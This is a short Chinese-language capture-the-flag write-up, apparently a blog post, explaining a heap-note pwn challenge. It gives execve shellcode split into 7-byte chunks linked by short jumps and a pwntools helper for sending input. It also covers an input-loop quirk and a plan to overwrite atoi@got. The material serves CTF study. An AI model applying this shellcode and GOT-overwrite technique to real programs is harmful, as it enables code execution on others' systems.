主要题解:https://blog.csdn.net/seaaseesa/article/details/103003167
这篇文章写已经是不错的了,这里主要写一下我对上面那篇文章的理解
1、以下code0到code3的长度都是七个字节。不足七个字节的用\x90
填充。90机器码
所代表的汇编指令是nop
。因为我们跳转的时候用的是相对偏移跳转,所以必须要填充为七个字节,否则偏移要重新计算了。
code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
#rax = 0x3B jmp short next_chunk
code1= (asm('mov eax,0x3B') + '\xeb\x19')
#rsi = 0 jmp short next_chunk
code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
#rdi = 0 jmp short next_chunk
code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
2、这里需要注意的是sh.sendafter('content:',content)
,这里没有用sendlineafter是因为sendlineafter会在发送的字符串末尾加一个\n
。加上\n
之后,你其实发送的就是八个字节。
def create(index,size,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('index:',str(index))
sh.sendlineafter('size:',str(size))
sh.sendafter('content:',content)
仔细看循环可以发现,当你想写入八个字节的时候,循环只循环了七次,只接收了七个字节,还有一个字节在缓冲区中,当下次read读取的时候回直接读取第八个字节,即\n
。然后跳出循环(v4的值是10,ascii对应的就是\n),然后retur一个换行
所以当你输入七个a的时候,再加一个换行,就会直接返回一个invalid choice
。
3、第一次新建笔记的时候创建了a*7
。如果第一次直接修改atoi@got
的话,会导致之后创建note的时候直接报错。
create(0,8,'a'*7)